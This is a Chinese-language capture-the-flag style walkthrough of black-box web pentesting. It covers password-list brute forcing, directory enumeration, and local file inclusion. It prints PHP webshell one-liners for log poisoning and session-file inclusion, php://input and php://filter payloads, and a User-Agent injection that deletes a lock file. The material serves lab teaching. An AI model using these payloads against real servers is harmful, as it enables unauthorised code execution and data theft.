渗透测试基础——黑盒测试下的Web漏洞挖掘与利用解析(二)

本文从弱口令爆破、目录枚举,到本地文件包含 LFI 的多种 getshell 手法,系统梳理了 Web 安全渗透的核心场景。无论是日志文件注入、Session 文件利用,还是 PHP 伪协议的实战技巧,都讲清了原理与利用条件,是从基础到进阶的实用参考,帮你快速掌握渗透测试的关键思路。

文章目录


情景四:构造脚本爆破密码

提示:密码前2位是小写字母,后三位是数字

这里我们还是打开网页,惯例尝试URL处是否存在SQL注入:

随后后台管理系统,尝试登陆:

这次的万能密码竟然失败了;

但是在翻看源代码的时候,发现了一个图片:

而这个与题目给我们的提示"密码前2位是小写字母,后三位是数字"相关联,所以这里编写一个简单的python脚本:

python 复制代码
import itertools
import string

letters = string.ascii_lowercase # 默认所有的小写字母a-z
digits = string.digits # 0-9

output_file = '1.txt'

with open('1.txt','w',encoding='utf-8') as f:
    for l1,l2,d1,d2,d3 in itertools.product(letters,letters,digits,digits,digits):
        password = l1+l2+d1+d2+d3

        f.write(password+'\n')


print(f"成功写入所有密码组合")

随后进行爆破,成功得到最终密码xy123

情景五:敏感文件泄露

Web目录枚举

还是老样子,先进行Web目录枚举:

但这次不一样,发现了新的目录:

bash 复制代码
/install/
/install/index.php?upgrade/

访问一下 /install目录,得到如下结果:

根据提示访问 /install/?install,得到结果:

弱口令爆破

因为不知道默认密码,因此我们尝试进行弱口令爆破:

这里让GPT生成了几个弱口令:

成功爆破得到结果:

情景六:弱口令爆破

Web目录枚举

还是老样子:

访问 /install 目录,得到了一个新文件名:lock.dat

再访问 /clear.php页面,成功重置密码:

再次进行爆破,密码还是一样:

(但这里我反倒试不出了,不管了,知道方法就行)

情景七:本地文件包含LFI

前面部分和上一关一样

这里我们扫描,发现了一个新目录:/debug

这里robots.txt文件也提示我们访问该目录:

随后访问,发现为"文件不存在":

看到 file not exist 说明 file 参数确实被用来读取文件,但传入的路径不存在 / 被过滤了。

  • 所以接下来我们可以确定一下参数名
bash 复制代码
/debug/?file=index.php
/debug/?file=debug.php

得到结果:

说明确实存在本地文件包含LFI漏洞:

之前也写过文章,感兴趣的可以看一下:Tomato 靶场完整渗透思路(本地文件包含LFI,脏牛提取)

本地文件包含getshell的几种方式

本地文件包含(Local File Inclusion,LFI)是 Web 安全中一种较常见的漏洞,攻击者可以通过服务器端动态包含文件的功能,读取服务器上的敏感文件。在某些情况下,如果服务器配置不当,LFI 还能够进一步升级为远程代码执行(RCE),最终实现 getshell。

以下是几种常见的 LFI getshell 方式的简单介绍。

1. 日志文件包含 Getshell

这是最经典的 LFI 利用方式之一。

原理

Web 服务器会记录访问日志,例如 Apache、Nginx 的 access.log。攻击者可以在 User-Agent、Referer 等 HTTP 头中插入 PHP 代码:

php 复制代码
<?php system($_GET['cmd']); ?>

服务器记录日志后,再利用 LFI 去包含日志文件:

php 复制代码
?page=/var/log/apache2/access.log

如果日志中的 PHP 代码被解析执行,即可获得 WebShell。

bash 复制代码
# 常见日志路径
Linux:
/var/log/apache2/access.log
/var/log/nginx/access.log

Windows:
C:\xampp\apache\logs\access.log
条件
  • 目标存在 LFI
  • 日志文件可读
  • PHP 以解析方式包含日志

2. Session 文件包含 Getshell

PHP 默认会将 Session 数据存储为文件。

原理

攻击者先向 Session 中写入恶意 PHP 代码,例如:

php 复制代码
<?php eval($_POST['x']); ?>

然后利用 LFI 包含对应 Session 文件:

php 复制代码
?page=/tmp/sess_xxxxxx

若 Session 文件被 PHP 解析,则可执行代码。

bash 复制代码
# 常见 Session 路径
Linux:
/tmp/
/var/lib/php/sessions/

Windows:
C:\Windows\Temp\
条件
  • Session 可控
  • Session 文件路径可预测
  • include 时会被 PHP 解析

3. 上传文件配合 LFI Getshell

有些网站允许上传图片、头像等文件。

原理

攻击者上传一个包含 PHP 代码的文件,例如:

php 复制代码
GIF89a
<?php phpinfo(); ?>

虽然扩展名可能是 .jpg,但如果服务器只是检查后缀而不检查内容,则文件中依旧存在 PHP 代码。

随后通过 LFI 包含上传文件:

php 复制代码
?page=uploads/test.jpg

若服务器解析其中的 PHP 代码,则 getshell 成功。

条件
  • 存在文件上传功能
  • 上传目录路径可知
  • LFI 可包含上传文件

4. PHP 伪协议利用

PHP 支持多种伪协议,可以配合 LFI 使用。

(1)php://input

当目标代码类似:

php 复制代码
include($_GET['page']);

攻击者可构造:

bash 复制代码
?page=php://input

POST 数据中写入:

php 复制代码
<?php system('id'); ?>

服务器包含输入流后执行代码。

(2)php://filter

常用于源码读取:

bash 复制代码
php://filter/read=convert.base64-encode/resource=index.php

虽然一般不能直接 getshell,但可用于读取源码、获取数据库密码等敏感信息,为后续利用做准备。


解题思路

了解了上述几种常见的getshell方式,所以我们可以尝试一下日志注入

首先还是访问 /install 目录,做了这么久,大概可以猜测出该文件的路径为:/var/www/html/install/lock.dat

所以这里我们可以利用 UA头写入脚本删除lock.dat文件,然后在进行密码爆破:(也可以用BP进行)

bash 复制代码
<?php unlink('/var/www/html/install/lock.dat');?>

随后访问日志的位置:(不知道?)

  • payload:?file=/etc/os-release
  • 日志位置:/var/log/nginx/access.log

检查日志,成功注入刚才的PHP脚本(再次访问/install,发现成功删除lock.dat)

其他步骤跟之前一样,密码爆破,成功得到flag:

总结

期待下次再见;

相关推荐
weixin_429630261 小时前
3.50 WebARNav:边缘辅助视觉定位的移动Web AR室内导航
前端·ar
玫幽倩1 小时前
2025FIC取证决赛wp(手机取证)
python·智能手机·手机·电子取证·计算机取证·手机取证·fic
yivifu1 小时前
CSS 自动级联编号有序列表完全指南
前端·css·c#·html·有序列表·级联编号
多彩电脑1 小时前
Kivy如何自定义事件
开发语言·python
java_cj1 小时前
LangChain初入门 - 简化LLM开发难度的利器
开发语言·python·langchain
文青小兵1 小时前
Linux云计算——docker compose haibor elfk (四)
linux·服务器·docker·云计算
sleven fung1 小时前
llama-cpp-python 本地部署入门
开发语言·python·算法·llama
li星野1 小时前
RAG优化系列:基于用户反馈的检索权重调整(Feedback Loop)——让系统越用越聪明
python·学习
特立独行的猫a1 小时前
鸿蒙 PC 平台 Python 第三方库移植全景指南
python·华为·harmonyos·三方库移植·鸿蒙pc